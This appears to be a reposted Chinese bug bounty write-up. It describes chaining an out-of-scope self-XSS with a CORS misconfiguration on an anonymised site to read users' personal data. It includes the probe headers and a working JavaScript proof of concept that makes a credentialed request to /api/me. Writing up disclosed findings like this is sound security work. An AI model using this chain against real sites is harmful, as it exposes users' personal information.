几个月前,我收到了HackerOne上的一个私人漏洞赏金计划的邀请。起初,我进行了常规测试,发现并报告了各种漏洞,例如BAC、泄露其他用户的“授权令牌”等……
在向该计划报告了这些错误后,我注意到根据他们的政策,XSS 被视为超出范围。该计划的业务是“在线内容管理系统和网站构建器”。创建帐户后,用户将收到一个可以自定义的唯一子域名<YOUR-SUB>.target.com。
考虑到应用程序的结构,XSS 仅限于自身,并且程序将 XSS 排除在<YOUR-SUB>.target.com其范围之外。这促使我探索寻找自身 XSS 并将其与另一个漏洞链接起来以显示影响。
我发现了几个 XSS 链,它们的影响不断扩大。由于只有一个已解决的 XSS 链报告,所以我只写一篇关于它的文章。当其他报告都解决后,我计划为每篇报告分别写一篇文章。现在,让我们深入了解这个故事。
查找 Self-XSS 并不需要花费太多时间。
现在,是时候找到另一个可以与 XSS 链接的漏洞了。我开始测试网站,目的是找出可以与 XSS 链接的漏洞。我测试的漏洞之一是 CORS 配置错误。我更喜欢使用 CORS * Burp Extension来测试它。
激活扩展程序后,我发现www.target.com/api/me中可能存在 CORS 配置错误。此 API 请求负责获取用户 PII(个人身份信息),例如名字、姓氏、电子邮件和帐户 ID。
发送请求:
Origin: 7odamoo-target.com
返回结果:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: 7odamoo-target.com
太棒了,看来我现在遇到了一个 bug,在正常情况下,我应该注册域名7odamoo-target.com并上传CORS PoC来向团队展示漏洞,但是当我检查 cookie 标志时,我发现问题出在SameSite cookie标志中。除非来源被允许,否则浏览器不会在请求中包含 cookie。
我想你知道我下一步要做什么,我将使用 Out-Of-Scope XSS 来发送请求,这样 cookie 就会被包含在内。
所以我把这个脚本注入到了我自己的子域名上<MY-SUB>.target.com,这样当有人访问我的子域名时,就会发送一个请求www.target.com/api/me,他的PII就会作为 PoC 显示在警报弹出窗口上。
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.onload = cors;
xhttp.open("GET", "https://www.target.com/api/me", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
太棒了,我成功地将 CORS 错误配置与超出范围的 XSS 链接起来,以绕过 SameSite cookie 的来源检查。
该团队迅速修复了 CORS 配置错误,解决了该漏洞,因为它们不再允许*.target.com
读取来自www.target.com
。
原文始发于微信公众号(Rsec):0017. 我是如何因超出范围的 XSS 而获得 5,000 美元的赔偿的【转载】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论